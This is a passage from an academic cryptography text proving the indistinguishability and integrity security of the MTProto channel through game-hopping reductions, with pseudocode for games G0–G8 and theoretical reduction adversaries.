payload length to the resulting ciphertext length when encrypted with SE. In Fig. 6.43, we build an
adversary DOTIND$ attacking the OTIND$-security of SE that simulates G7 or G8 for the adversary
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DIND, depending on the challenge bit in the game Gotind$
SE,DOTIND$

(Fig. 2.7). It follows that

Pr[G7] − Pr[G8] = Advotind$
SE (DOTIND$) .

G8. Finally, the output of the Send oracle in the game G8 no longer depends on the challenge bit b ,
so we have

Pr[G8] =
1
2
.

The statement of the theorem follows.

Proof alternatives. Our security reduction relies on the RKPRF-security of KDF with respect to
ϕKDF. We note that it would suffice to instead define and use a related-key weak-PRF notion here.
It could be used in the penultimate step of this security reduction: right before appealing to the
OTIND$-security of SE.

Further, in this security reduction we consider a generic function family MAC and rely on it being
related-key PRF-secure with respect to unique-prefix inputs. Recall that MTProto uses MAC =

MTP-MAC such that MTP-MAC.Ev(mku, p) = SHA-256(mku ∥ p) [64 : 192]. It discards half of the
SHA-256 output bits, so we could alternatively model it as an instance of Augmented MAC (AMAC)
and prove it to be related-key PRF-secure based on [BBT16]. However, using the results from [BBT16]
would have required us to show that the SHA-256 compression function is a secure PRF when half of
its key is leaked to the adversary. We achieve a simpler and tighter security reduction by relying on
the unique-prefix property of ME that is already guaranteed in MTProto.

6.7.3 INT-security of MTP-CH

The first half of our integrity proof shows that it is hard to forge ciphertexts; in order to justify this,
we rely on security properties of the cryptographic primitives that are used to build the channel
MTP-CH (i.e. HASH, KDF, SE, and MAC). Once ciphertext forgery is ruled out, we are guaranteed
that MTP-CH broadly matches an intuition of an authenticated channel: it prevents an attacker from
modifying or creating their own ciphertexts but still allows them to intercept and subsequently replay,
reorder or drop honestly produced ciphertexts. So in the second part of the proof we show that the
message encoding scheme ME appropriately resolves all of the possible adversarial interaction with an
authenticated channel; formally, we require that it behaves according to the requirements that are
specified by some support function supp. Our main result is then:

Theorem 2. Let sid ∈ {0, 1}64, npad ∈ N, and `block = 128. Let ME = MTP-ME[sid,npad, `block] and
SE = MTP-SE. Let HASH, MAC, KDF, ϕMAC, ϕKDF be any primitives that, together with ME and SE,
meet the requirements stated in Definition 22 of the channel MTP-CH. Let CH = MTP-CH[ME,HASH,
MAC,KDF, ϕMAC, ϕKDF,SE]. Let supp = SUPP. Let AINT be any adversary against the INT-security
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of CH with respect to supp. Then we can build the adversaries DOTWIND, DRKPRF,AUNPRED,ARKCR,
AEINT such that

Advint
CH,supp (AINT) ≤ Advotwind

HASH (DOTWIND) + Advrkprf
KDF,ϕKDF

(DRKPRF)

+ Advunpred
SE,ME (AUNPRED) + Advrkcr

MAC,ϕMAC
(ARKCR)

+ Adveint
ME,supp (AEINT) .

Before providing the detailed proof, we provide some discussion of our approach and a high-level
overview of the different parts of the proof.

Invisible terms based on the correctness of ME, SE, supp. We state and prove our INT-security
claim for the channel MTP-CH with respect to fixed choices of MTProto-based constructions ME =

MTP-ME and SE = MTP-SE, and with respect to the support function supp = SUPP. Throughout
the proof, our security reduction relies on six correctness-style properties of these primitives: one for
ME, two for SE, three for supp. Each of them can be observed to be always true for the corresponding
scheme, and hence does not contribute an additional term to the advantage statement in Theorem 2.
These properties are also simple enough that we chose not to define them in a game-based style (the
one we require from ME is distinct from, and simpler than, the encoding correctness notion that we
defined in Section 6.2.5). Our security reduction nonetheless introduces and justifies a game hop for
each of these properties. This necessitates the use of 14 security reduction games to prove Theorem 2,
including some that are meant to be equivalent by observation (i.e. the corresponding game transitions
do not rely on any correctness or security properties).

Theorem 2 could be stated in a more general way, fully formalising the aforementioned correctness
notions and phrasing our claims with respect to any SE, ME, supp. We lose this generality by
instantiating these primitives. Our motivation is twofold. On the one hand, we state our claims in a
way that highlights the parts of MTProto (as captured by our model) that are critical for its security
analysis, and omit spending too much attention on parts of the reduction that can be “taken for
granted”. On the other hand, our work studies MTProto, and the abstractions that we use are meant
to simplify and aid this analysis. We discourage the reader from treating MTP-CH in a prescriptive
way, e.g. from trying to instantiate it with different primitives to build a secure channel since standard,
well-studied cryptographic protocols such as TLS already exist.

Forging a ciphertext is hard. Let AINT be an adversary playing in the INT-security game against
the channel MTP-CH. Consider an arbitrary call made by AINT to its oracle Recv on inputs u, c, aux
such that c = (aid′,msk′, cSE). Recall that MTP-CH.Recv attempts to verifymsk′ by checking whether
msk′ = MAC.Ev(mku, p) for an appropriately recovered payload p. If this msk′ verification passes
(and if aid′ = aid), then MTP-CH.Recv attempts to decode the payload by computing (stME,u,m) ←
ME.Decode(stME,u, p, aux).
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We consider two cases, and claim the following:

(A) If msk′ was not previously returned by the oracle Send as a part of any ciphertext sent by
the user u, then an evaluation of ME.Decode(stME,u, p, aux) would return m = ⊥ with high
probability regardless of whether the msk′ verification passed or failed; so in this case we are not
concerned with assessing the likelihood that the msk′ verification passes.

(B) If msk′ was previously returned by the oracle Send as a part of another ciphertext c∗ = (aid∗,
msk′, c∗SE) sent by the user u, and if aid∗ = aid′ = aid, then with high probability cSE = c∗SE
(and hence c = c∗) whenever the msk′ verification passes.

We now justify both claims.

Case A: Assume msk′ is fresh. Our analysis of this case will rely on a property of the symmetric
encryption scheme SE, and will require that its key k is chosen uniformly at random. Thus, we begin
by invoking the OTWIND-security of HASH and the RKPRF-security of KDF in order to claim that
the output of KDF.Ev(kku,msk′) is indistinguishable from random; this mirrors the first two steps of
the IND-security reduction of MTP-CH.

Our analysis of Case A now reduces roughly to the following: we need to show that it is hard to
find any SE ciphertext cSE such that its decryption p under a uniformly random key k has a non-
negligible chance of being successfully decoded by ME.Decode (i.e. returning m ≠ ⊥). As part of this
experiment, the adversary is allowed to query many different values of msk′ and cSE (recall that an
MTP-CH ciphertext contains both). At this point, msk′ is only used to select a uniformly random SE
key k, but the adversary can reuse the same key k in combination with many different choices of cSE.
The Case A assumption that msk′ is “fresh” means that msk′ was not seen during previous calls to the
Send oracle, so the adversary has no additional leakage on key k. All of the above is captured by the
notion of SE’s unpredictability (UNPRED) with respect to ME.

Case B: Assume msk′ is reused. In this case, we know that the adversary AINT previously called its
Send oracle on inputs u,m∗, aux∗, r∗ for some m∗, aux∗, r∗, and received back a ciphertext c∗ = (aid∗,
msk∗, c∗SE) such that msk∗ = msk′. Let p∗ be the payload that was built and used inside this oracle call.
Recall that we are currently consideringAINT’s ongoing call to its Recv oracle on inputs u, c, aux such
that c = (aid′,msk′, cSE); we are only interested in the event that themsk′ verification passed (and that
aid∗ = aid′ = aid), meaning that msk′ = msk, where msk ← MAC.Ev(mku, p) for an appropriately
recovered p.

It follows that MAC.Ev(mku, p∗) = MAC.Ev(mku, p). If p∗ ≠ p, then this breaks the RKCR-security
of MAC since MTProto uses MTP-MAC, which is defined as

MTP-MAC.Ev(mku, p) = SHA-256(mku ∥ p) [64 : 192] .
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Based on the above, we obtain (msk∗, p∗) = (msk, p). Let k ← KDF.Ev(kku,msk). Note that c∗SE ←
SE.Enc(k, p∗) was computed during the Send call, and p← SE.Dec(k, cSE) was computed during the
ongoing Recv call. The equality p∗ = p implies c∗SE = cSE if SE guarantees that for any key k, the
algorithms of SE match every message p ∈ SE.MS with a unique ciphertext cSE. When this condition
holds, we say that SE has unique ciphertexts. We note that MTP-SE satisfies this property; it follows
that c∗SE = cSE and therefore the MTP-CH ciphertext c that was queried to Recv (for user u) is equal
to the ciphertext c ′ that was previously returned by Send (for user u). Implicit in this argument is an
assumption that SE has the decryption correctness property; MTP-SE satisfies this property as well.

MTP-CH acts as an authenticated channel. We can rewrite the claims we stated and justified in the
first phase of the proof as follows. When the adversaryAINT queries its oracleRecv on inputs u, c, aux,
the channel decrypts c to m = ⊥ with high probability, unless c was honestly returned in response
to AINT’s prior call to Send(u, . . .), meaning ∃m′, aux′ : (sent,m′, c, aux′) ∈ tru. Furthermore, we
claim that the channel’s state stu of user u does not change when AINT’s queries to the oracle Recv
result in c decrypting to m = ⊥. This could only happen in Case A above, assuming that the message
key msk verification succeeds but then the ME.Decode call returns m = ⊥ and changes the user u’s
message encoding state stME,u. We note that MTP-ME never updates stME,u when decoding fails, and
hence it satisfies this requirement.

We now know that the oracle Recv accepts only honestly forwarded ciphertexts from the opposite
user, and that it never changes the channel’s state otherwise. This allows us to rewrite the INT-security
game to ignore all cryptographic algorithms in the Recv oracle. More specifically, the oracle Recv
can use the opposite user’s transcript to check which ciphertexts were produced honestly, and simply
reject the ones that are not on this transcript. For each ciphertext c that is on the transcript, the game
can maintain a table that maps it to the payload p that was used to generate it; the oracle Recv can
fetch this payload and immediately call ME.Decode to decode it.

Interaction between ME and supp. By now, we have transformed our INT-security game to an
extent that it roughly captures the requirement that the behaviour of ME should match that of supp
(i.e. the adversary AINT wins the game if and only if the message m recovered by ME.Decode inside
the oracle Recv is not equal to the corresponding output m∗ of supp). However, the support function
supp uses the MTP-CH encryption c of the payload p as its label, and it is not necessarily clear what
information about c can or should be used to define the behaviour of supp. In order to the simplify
the security game we have arrived to, we will rely on three correctness-style notions as follows:

(1) Integrity of a support function requires that the support function returns m∗ = ⊥ when it is
called on a ciphertext that cannot be found in the opposite user’s transcript tru.17

17Integrity of a support function is formalised in Appendix D.1.
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(2) Robustness of a support function requires that adding failed decryption events (i.e. m = ⊥) to a
transcript does not affect the future outputs of supp on any inputs.

(3) We also rely on a property requiring that a support function uses no information about its labels
beyond their equality pattern, separately for either direction of communication (i.e. u→ u and
u→ u).

For the last property, we observe that in our game p0 = p1 if and only if the corresponding MTP-CH
ciphertexts are also equal. This allows us to switch from using ciphertexts to using payloads as
the labels for the supp, and simultaneously change the transcripts to also store payloads instead of
ciphertexts. Our theorem is stated with respect to supp = SUPP that satisfies all three of the above
properties.

The introduced properties of a support function allow us to further simplify the INT-security game.
This helps us to remove the corner case that deals with Recv being queried on an invalid ciphertext
(i.e. one that was not honestly forwarded). And finally, this lets us reduce our latest version of
the INT-security game for MTP-CH to the encoding integrity (EINT) property of ME, supp that
is defined to match ME against supp in the presence of adversarial behaviour on an authenticated
channel that exchanges ME payloads between two users.

Proof of Theorem 2. This proof uses the games G0–G13 in Figs. 6.44, 6.47, 6.48, 6.51 and 6.52. The
adversaries are provided throughout the proof. Note that the games G0–G2 and the transitions between
them (G0 → G1 based on the OTWIND-security of HASH, and G1 → G2 based on the RKPRF-
security of KDF) are very similar to the corresponding games and transitions in our IND-security
reduction. We refer to the proof of Theorem 1 for a detailed explanation of both transitions.

G0. The game G0 is equivalent to the game Gint
CH,supp,AINT

(Fig. 6.3). It follows that

Advint
CH,supp (AINT) = Pr[G0] .

G0 → G1. The value of aid in the game G0 depends on the initial KDF key kk and MAC key mk.
In contrast, the game G1 computes aid by evaluating HASH on a uniformly random input x that is
independent of kk and mk. We invoke the OTWIND-security of HASH in order to claim that the
adversary AINT cannot distinguish between playing in G0 and G1.

In Fig. 6.45, we build an adversary DOTWIND against the OTWIND-security of HASH. When the
adversary DOTWIND plays in the game Gotwind

HASH,DOTWIND
(Fig. 6.12) with the challenge bit d ∈ {0, 1}, it

simulates the game G0 (when d = 1) or the game G1 (when d = 0) for the adversaryAINT. DOTWIND

returns d ′ = 1 if and only if AINT sets the win flag, so we have

Pr[G0] − Pr[G1] = Advotwind
HASH (DOTWIND) .
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G1 → G2. Going from G1 to G2 (Fig. 6.44), we switch the outputs of KDF.Ev to uniformly random
values. Since the adversary can call k ← KDF.Ev(kku,msk) on the same inputs multiple times, we
use a PRF table T to enforce the consistency between calls; the output of KDF.Ev(kku,msk) in G1

corresponds to a uniformly random value that is sampled and stored in the table entry T[u,msk].

Games G0–G2

1 : win← false

2 : hk←$ {0, 1}HASH.kl

3 : kk←$ {0, 1}672

4 : mk←$ {0, 1}320

5 : x ← kk ∥ mk // G0

6 : x ←$ {0, 1}992 // G1–G2

7 : aid ← HASH.Ev(hk, x)
8 : (kkI, kkR) ← ϕKDF (kk)
9 : (mkI,mkR) ← ϕMAC (mk)
10 : (stME,I, stME,R) ←$ ME.Init()

11 : ASend,Recv
INT

12 : return win

Send(u,m, aux, r)
1 : (stME,u, p) ←

2 : ME.Encode(stME,u,m, aux; r)

3 : msk← MAC.Ev(mku, p)

4 : k ← KDF.Ev(kku,msk) // G0–G1

5 : if T[u,msk] = ⊥ then

6 : T[u,msk] ←$ {0, 1}KDF.ol

7 : k ← T[u,msk] // G2

8 : cSE ← SE.Enc(k, p)

9 : c ← (aid,msk, cSE)
10 : tru ← tru ∥ (sent,m, c, aux)
11 : return c

Recv(u, c, aux)
1 : (aid′,msk′, cSE) ← c

2 : k ← KDF.Ev(kku,msk′) // G0–G1

3 : if T[u,msk′] = ⊥ then

4 : T[u,msk′] ←$ {0, 1}KDF.ol

5 : k ← T[u,msk′] // G2

6 : p← SE.Dec(k, cSE)

7 : msk← MAC.Ev(mku, p)
8 : m ← ⊥
9 : if (msk′ = msk) ∧ (aid′ = aid) then
10 : (stME,u,m) ←

11 : ME.Decode(stME,u, p, aux)
12 : m∗ ← supp(u, tru, tru, c, aux)
13 : if m ≠ m∗ then win← true
14 : tru ← tru ∥ (recv,m, c, aux)
15 : return ⊥

Figure 6.44. Games G0–G2 for the proof of Theorem 2. The code added by expanding the algorithms
of CH in the game Gint

CH,supp,AINT
is highlighted in grey .
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Adversary DOTWIND(x0, x1, aid)
1 : kk ∥ mk← x1 // s.t. |kk | = 672, |mk | = 320

2 : b ←$ {0, 1}
3 : (kkI, kkR) ← ϕKDF (kk)
4 : (mkI,mkR) ← ϕMAC (mk)
5 : (stME,I, stME,R) ←$ ME.Init()
6 : ASendSim,RecvSim

INT

7 : if win = true then return 1

8 : else return 0

SendSim(u,m, aux, r)
1 : // Identical to the oracle Send

2 : // in the games G0, G1 of Fig. 6.44.

RecvSim(u, c, aux)
1 : // Identical to the oracle Recv

2 : // in the games G0, G1 of Fig. 6.44.

Figure 6.45. AdversaryDOTWIND against the OTWIND-security ofHASH for the transition between
the games G0–G1.

Adversary DRoR

RKPRF

1 : b ←$ {0, 1}
2 : hk←$ {0, 1}HASH.kl

3 : mk←$ {0, 1}320

4 : x ←$ {0, 1}992

5 : aid ← HASH.Ev(hk, x)
6 : (mkI,mkR) ← ϕMAC (mk)
7 : (stME,I, stME,R) ←$ ME.Init()
8 : ASendSim,RecvSim

INT

9 : if win = true then return 1

10 : else return 0

SendSim(u,m, aux, r)
1 : (stME,u, p) ← ME.Encode(stME,u,m, aux; r)
2 : msk← MAC.Ev(mku, p)
3 : k ← RoR(u,msk)
4 : cSE ← SE.Enc(k, p)
5 : c ← (aid,msk, cSE)
6 : tru ← tru ∥ (sent,m, c, aux)
7 : return c

RecvSim(u, c, aux)
1 : (aid′,msk′, cSE) ← c

2 : k ← RoR(u,msk′)
3 : p← SE.Dec(k, cSE)
4 : msk← MAC.Ev(mku, p)
5 : m ← ⊥
6 : if (msk′ = msk) ∧ (aid′ = aid) then
7 : (stME,u,m) ← ME.Decode(stME,u, p, aux)
8 : m∗ ← supp(u, tru, tru, c, aux)
9 : if m ≠ m∗ then win← true
10 : tru ← tru ∥ (recv,m, c, aux)
11 : return ⊥

Figure 6.46. Adversary DRKPRF against the RKPRF-security of KDF for the transition between the
games G1–G2.

In Fig. 6.46, we build an adversary DRKPRF against the RKPRF-security of KDF with respect to ϕKDF.
When the adversary DRKPRF plays in the game Grkprf

KDF,ϕKDF,DRKPRF
(Fig. 6.21) with the challenge bit
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d ∈ {0, 1}, it simulates the game G1 (when d = 1) or the game G2 (when d = 0) for the adversary
AINT. DRKPRF returns d ′ = 1 if and only if AINT sets win, so we have

Pr[G1] − Pr[G2] = Advrkprf
KDF,ϕKDF

(DRKPRF) .

Games G3–G4

1 : win← false

2 : hk←$ {0, 1}HASH.kl

3 : mk←$ {0, 1}320

4 : x ←$ {0, 1}992

5 : aid ← HASH.Ev(hk, x)
6 : (mkI,mkR) ← ϕMAC (mk)
7 : (stME,I, stME,R) ←$ ME.Init()
8 : ASend,Recv

INT

9 : return win

Send(u,m, aux, r)
1 : (stME,u, p) ← ME.Encode(stME,u,m, aux; r)
2 : msk← MAC.Ev(mku, p)
3 : if T[u,msk] = ⊥ then

4 : T[u,msk] ←$ {0, 1}KDF.ol

5 : k ← T[u,msk]
6 : cSE ← SE.Enc(k, p)
7 : S[u,msk] ← (p, cSE)
8 : c ← (aid,msk, cSE)
9 : tru ← tru ∥ (sent,m, c, aux)
10 : return c

Recv(u, c, aux)
1 : (aid′,msk′, cSE) ← c
2 : if T[u,msk′] = ⊥ then
3 : T[u,msk′] ←$ {0, 1}KDF.ol

4 : k ← T[u,msk′] ; p← SE.Dec(k, cSE)
5 : msk← MAC.Ev(mku, p) ; m ← ⊥
6 : if (msk′ = msk) ∧ (aid′ = aid) then
7 : st∗ME,u ← stME,u

8 : (stME,u,m) ← ME.Decode(stME,u, p, aux)
9 : if S[u,msk] = ⊥ then

10 : if (m = ⊥) ∧ (stME,u ≠ st∗ME,u) then

11 : bad0 ← true

12 : stME,u ← st∗ME,u // G4

13 : if m ≠ ⊥ then
14 : bad1 ← true
15 : m∗ ← supp(u, tru, tru, c, aux)
16 : if m ≠ m∗ then win← true
17 : tru ← tru ∥ (recv,m, c, aux)
18 : return ⊥

Figure 6.47. Games G3–G4 for the proof of Theorem 2.
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Games G5–G6

1 : // As G3–G4 in Fig. 6.47

Send(u,m, aux, r)
1 : st∗ME,u ← stME,u

2 : (stME,u, p) ← ME.Encode(stME,u,m, aux; r)
3 : msk← MAC.Ev(mku, p)
4 : if T[u,msk] = ⊥ then T[u,msk] ←$ {0, 1}KDF.ol

5 : k ← T[u,msk] ; cSE ← SE.Enc(k, p)
6 : if S[u,msk] ≠ ⊥ then

7 : (p′, c ′SE) ← S[u,msk]

8 : if p ≠ p′ then

9 : bad2 ← true

10 : stME,u ← st∗ME,u ; return ⊥ // G6

11 : if SE.Dec(k, cSE) ≠ p then

12 : bad3 ← true
13 : S[u,msk] ← (p, cSE)
14 : c ← (aid,msk, cSE)
15 : tru ← tru ∥ (sent,m, c, aux) ; return c

Recv(u, c, aux)
1 : (aid′,msk′, cSE) ← c
2 : if T[u,msk′] = ⊥ then T[u,msk′] ←$ {0, 1}KDF.ol

3 : k ← T[u,msk′] ; p← SE.Dec(k, cSE)
4 : msk← MAC.Ev(mku, p) ; m ← ⊥
5 : if (msk′ = msk) ∧ (aid′ = aid) then
6 : st∗ME,u ← stME,u

7 : (stME,u,m) ← ME.Decode(stME,u, p, aux)
8 : if S[u,msk] = ⊥ then
9 : if m ≠ ⊥ then bad1 ← true

10 : (stME,u,m) ← (st∗ME,u,⊥)

11 : else

12 : (p′, c ′SE) ← S[u,msk]

13 : if p ≠ p′ then

14 : bad2 ← true

15 : (stME,u,m) ← (st∗ME,u,⊥) // G6

16 : m∗ ← supp(u, tru, tru, c, aux)
17 : if m ≠ m∗ then win← true
18 : tru ← tru ∥ (recv,m, c, aux) ; return ⊥

Figure 6.48. Games G5–G6 for the proof of Theorem 2.

147



6.7 Correctness and security of the MTProto channel

G2 → G3. The game G3 (Fig. 6.47) differs from the game G2 (Fig. 6.44) in the following ways:

(1) The KDF keys kk, kkI , kkR are no longer used in our reduction games starting from G2, so
they are not included in the game G3 and onwards.

(2) The game G3 adds a table S that is updated during each call to the Send oracle. We set
S[u,msk] ← (p, cSE) on line 7 to remember that the user u produced msk when sending an SE
ciphertext cSE that encrypts the payload p.

(3) The oracle Recv in the game G3, prior to calling ME.Decode, now saves a backup copy of stME,u

as st∗ME,u on line 7. Then, we add a new conditional statement with two bad flags that will be
used in the next security reductions (G3 → G4 and G4 → G5).

The games G3 and G2 are functionally equivalent, so

Pr[G3] = Pr[G2] .

G3 → G4. The games G3 and G4 (Fig. 6.47) are identical until bad0 is set. By the Fundamental
Lemma of Game Playing, we have

Pr[G3] − Pr[G4] ≤ Pr
[
badG3

0

]
.

The bad0 flag can be set in G3 only when (stME,u,m) ← ME.Decode(stME,u, p, aux) on line 8 of Recv
simultaneously changes the value of stME,u and returnsm = ⊥. Recall that the statement of Theorem 2
restricts ME to an instantiation of MTP-ME. But the latter never modifies its state stME,u when the
decoding fails (i.e. m = ⊥), so

Pr
[
badG3

0

]
= 0.

G4 → G5. In the Send oracle of the game G5 (Fig. 6.48) we add a number of conditional instructions
similar to the ones we added in the Recv oracle of G3, which set additional bad flags for future
reductions (G5 → G6 and G6 → G7) but do not change the behaviour of the game.

The games G4 (Fig. 6.47) and G5 (Fig. 6.48) are identical until bad1 is set. We have

Pr[G4] − Pr[G5] ≤ Pr
[
badG5

1

]
.

When bad1 is set in G5 on line 9 of Recv, we know that the SE key k = T[u,msk] was sampled
uniformly at random and never used inside the Send oracle before (because S[u,msk] = ⊥). Yet, the
adversaryAINT found an SE ciphertext cSE such that the payload p← SE.Dec(k, cSE) was successfully
decoded by ME.Decode (i.e. m ≠ ⊥). We note that AINT is allowed to query its Recv oracle on
arbitrarily many ciphertexts cSE with respect to the same SE key k, by repeatedly using the same pair
of values for (u,msk). But it might nonetheless be hard for AINT to obtain a decodable payload p if
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(1) the outputs of function SE.Dec(k, ·) are sufficiently “unpredictable” for an unknown uniformly
random k, and (2) the ME.Decode algorithm is sufficiently “restrictive” (e.g. designed to run some
sanity checks on its payloads, hence rejecting a fraction of them). We use the unpredictability notion
of SE with respect to ME, which captures this intuition.

Adversary AExpose,Ch
UNPRED

1 : hk←$ {0, 1}HASH.kl

2 : mk←$ {0, 1}320

3 : x ←$ {0, 1}992

4 : aid ← HASH.Ev(hk, x)
5 : (mkI,mkR) ← ϕMAC (mk)
6 : (stME,I, stME,R) ←$ ME.Init()
7 : ASendSim,RecvSim

INT

SendSim(u,m, aux, r)
1 : (stME,u, p) ← ME.Encode(stME,u,m, aux; r)
2 : msk← MAC.Ev(mku, p)
3 : if S[u,msk] = ⊥ then

4 : T[u,msk] ← Expose(u,msk)
5 : if T[u,msk] = ⊥ then

6 : T[u,msk] ←$ {0, 1}KDF.ol

7 : k ← T[u,msk] ; cSE ← SE.Enc(k, p)
8 : S[u,msk] ← (p, cSE)
9 : c ← (aid,msk, cSE)
10 : return c

RecvSim(u, c, aux)
1 : (aid′,msk′, cSE) ← c
2 : if S[u,msk′] = ⊥ then

3 : Ch(u,msk′, cSE, stME,u, aux)
4 : else
5 : if T[u,msk′] = ⊥ then

6 : T[u,msk′] ←$ {0, 1}KDF.ol

7 : k ← T[u,msk′]
8 : p← SE.Dec(k, cSE)
9 : msk← MAC.Ev(mku, p)
10 : if (msk′ = msk) ∧ (aid′ = aid) then
11 : (stME,u,m) ← ME.Decode(stME,u, p, aux)
12 : return ⊥

Figure 6.49. AdversaryAUNPRED against theUNPRED-security of SE,ME for the transition between
the games G4–G5.

In Fig. 6.49, we build an adversary AUNPRED against the UNPRED-security of SE,ME as follows.
When the adversaryAUNPRED plays in the game Gunpred

SE,ME,AUNPRED
(Fig. 6.34), it simulates the game G5

for the adversary AINT. The adversary AUNPRED wins in its own game whenever AINT sets bad1, so
we have

Pr
[
badG5

1

]
≤ Advunpred

SE,ME (AUNPRED) .

We now explain the ideas behind the construction of AUNPRED. The adversary AUNPRED does not
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maintain its own transcripts tru, tru, and hence does not evaluate the support function supp at the end
of the simulated Recv oracle. This is because supp’s outputs do not affect the input-output behaviour
of the simulated oracles Send and Recv, and because this reduction step does not rely on whether the
adversary AINT manages to win in the simulated game (but rather only whether it sets bad1). Some
of the adversaries we construct for the next reduction steps will likewise not maintain the transcripts.

The adversary AUNPRED splits the simulation of the Recv oracle of G5 into two cases:

(1) If S[u,msk′] = ⊥, then AUNPRED does not modify stME,u; this is consistent with the behaviour
of the Recv oracle in the game G5. In addition, the adversary AUNPRED also makes a call to its
oracle Ch. The Ch oracle simulates all instructions that would have been evaluated by Recv

when S[u,msk′] = ⊥, except it omits the condition checking (msk′ = msk) ∧ (aid′ = aid). The
omitted condition is a prerequisite to setting the flag bad1 in the game G5; this change is fine
because the adversary AUNPRED will nonetheless set the win flag in its game Gunpred

SE,ME,AUNPRED

whenever the simulated adversary AINT would have set the bad1 flag in G5.

(2) If S[u,msk′] ≠ ⊥, then AUNPRED honestly simulates all instructions that would have been
evaluated by Recv.

Finally, AUNPRED uses its Expose oracle to learn the values from the PRF table that is maintained by
the UNPRED-security game, and synchronises them with its own PRF table T inside the simulated
oracle Send (intuitively, this appears unnecessary, but it helps us avoid further analysis to show that
AUNPRED perfectly simulates the game G5).

G5 → G6. The games G5 and G6 (Fig. 6.48) are identical until bad2 is set. We have

Pr[G5] − Pr[G6] ≤ Pr
[
badG5

2

]
.

The games set the bad2 flag in two places: on line 9 in Send, and on line 14 in Recv. In either case,
this happens when the table entry S[w,msk] = (p′, c ′SE) for some w ∈ {I,R} indicates that a prior
call to the Send oracle obtained msk← MAC.Ev(mkw, p′), and now we found p such that p ≠ p′ and
msk = MAC.Ev(mkw, p). This results in a collision for MAC under related keys, and hence breaks its
RKCR-security with respect to ϕMAC.

In Fig. 6.50, we build an adversary ARKCR against the RKCR-security of MAC with respect to ϕMAC

as follows. When the adversary ARKCR plays in the game Grkcr
MAC,ϕMAC,ARKCR

(Fig. 6.15), it simulates
the game G5 for the adversary AINT. The adversary ARKCR wins in its own game whenever AINT

sets bad2, so we have
Pr

[
badG5

2

]
≤ Advrkcr

MAC,ϕMAC
(ARKCR) .
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Adversary ARKCR(mkI,mkR)
1 : hk←$ {0, 1}HASH.kl

2 : x ←$ {0, 1}992

3 : aid ← HASH.Ev(hk, x)
4 : (stME,I, stME,R) ←$ ME.Init()
5 : ASendSim,RecvSim

INT

6 : return out

SendSim(u,m, aux, r)
1 : (stME,u, p) ← ME.Encode(stME,u,m, aux; r)
2 : msk← MAC.Ev(mku, p)
3 : if T[u,msk] = ⊥ then

4 : T[u,msk] ←$ {0, 1}KDF.ol

5 : k ← T[u,msk] ; cSE ← SE.Enc(k, p)
6 : if S[u,msk] ≠ ⊥ then
7 : (p′, c ′SE) ← S[u,msk]
8 : if p ≠ p′ then out← (u, p, p′)
9 : S[u,msk] ← (p, cSE)
10 : c ← (aid,msk, cSE)
11 : return c

RecvSim(u, c, aux)
1 : (aid′,msk′, cSE) ← c
2 : if T[u,msk′] = ⊥ then

3 : T[u,msk′] ←$ {0, 1}KDF.ol

4 : k ← T[u,msk′]
5 : p← SE.Dec(k, cSE)
6 : msk← MAC.Ev(mku, p)
7 : if (msk′ = msk) ∧ (aid′ = aid) then
8 : st∗ME,u ← stME,u

9 : (stME,u,m) ← ME.Decode(stME,u, p, aux)
10 : if S[u,msk] = ⊥ then
11 : (stME,u,m) ← (st∗ME,u,⊥)
12 : else
13 : (p′, c ′SE) ← S[u,msk]
14 : if p ≠ p′ then out← (u, p, p′)
15 : return ⊥

Figure 6.50. Adversary ARKCR against the RKCR-security of MAC for the transition between the
games G5–G6.

G6 → G7. The games G6 (Fig. 6.48) and G7 (Fig. 6.51) are identical until bad3 is set. We have

Pr[G6] − Pr[G7] ≤ Pr
[
badG6

3

]
.

If bad3 is set in G6 on line 12 of Send, it means that the adversary AINT found a payload p and an SE
key k ∈ {0, 1}SE.kl such that SE.Dec(k,SE.Enc(k, p)) ≠ p. This violates the decryption correctness of
SE. Recall that the statement of Theorem 2 considers SE = MTP-SE. The MTP-SE scheme satisfies
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Games G7–G8

1 : // As G3–G4 in Fig. 6.47

Send(u,m, aux, r)
1 : st∗ME,u ← stME,u

2 : (stME,u, p) ← ME.Encode(stME,u,m, aux; r)
3 : msk← MAC.Ev(mku, p)
4 : if T[u,msk] = ⊥ then T[u,msk] ←$ {0, 1}KDF.ol

5 : k ← T[u,msk] ; cSE ← SE.Enc(k, p)
6 : if S[u,msk] ≠ ⊥ then
7 : (p′, c ′SE) ← S[u,msk]
8 : if p ≠ p′ then
9 : stME,u ← st∗ME,u ; return ⊥
10 : if SE.Dec(k, cSE) ≠ p then
11 : bad3 ← true

12 : stME,u ← st∗ME,u ; return ⊥

13 : S[u,msk] ← (p, cSE) ; c ← (aid,msk, cSE)
14 : tru ← tru ∥ (sent,m, c, aux) ; return c

Recv(u, c, aux)
1 : (aid′,msk′, cSE) ← c
2 : if T[u,msk′] = ⊥ then T[u,msk′] ←$ {0, 1}KDF.ol

3 : k ← T[u,msk′] ; p← SE.Dec(k, cSE)
4 : msk← MAC.Ev(mku, p) ; m ← ⊥
5 : if (msk′ = msk) ∧ (aid′ = aid) then
6 : st∗ME,u ← stME,u

7 : (stME,u,m) ← ME.Decode(stME,u, p, aux)
8 : if S[u,msk] = ⊥ then
9 : (stME,u,m) ← (st∗ME,u,⊥)
10 : else
11 : (p′, c ′SE) ← S[u,msk]
12 : if p ≠ p′ then
13 : (stME,u,m) ← (st∗ME,u,⊥)
14 : else if cSE ≠ c ′SE then

15 : bad4 ← true

16 : (stME,u,m) ← (st∗ME,u,⊥) // G8

17 : m∗ ← supp(u, tru, tru, c, aux)
18 : if m ≠ m∗ then win← true
19 : tru ← tru ∥ (recv,m, c, aux) ; return ⊥

Figure 6.51. Games G7–G8 for the proof of Theorem 2.
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decryption correctness, so
Pr

[
badG6

3

]
= 0.

G7 → G8. The games G7 and G8 (Fig. 6.51) are identical until bad4 is set. We have

Pr[G7] − Pr[G8] ≤ Pr
[
badG7

4

]
.

Whenever bad4 is set on line 15 of Recv, we know that p← SE.Dec(k, cSE) was computed during
the ongoing Recv call, and c ′SE ← SE.Enc(k, p) was computed during an earlier call to Send, which
also verified that SE.Dec(k, c ′SE) = p. Importantly, we also know that cSE ≠ c ′SE. The statement of
Theorem 2 considers SE = MTP-SE. The latter is a deterministic symmetric encryption scheme that
is based on the IGE block cipher mode of operation. For each key k ∈ {0, 1}SE.kl and each length
` ∈ N such that {0, 1}` ⊆ SE.MS, this scheme specifies a permutation between all plaintexts from
{0, 1}` and all ciphertexts from {0, 1}` . In particular, this means that MTP-SE has unique ciphertexts,
meaning it is impossible to find cSE ≠ c ′SE that, under any fixed choice of key k, decrypt to the same
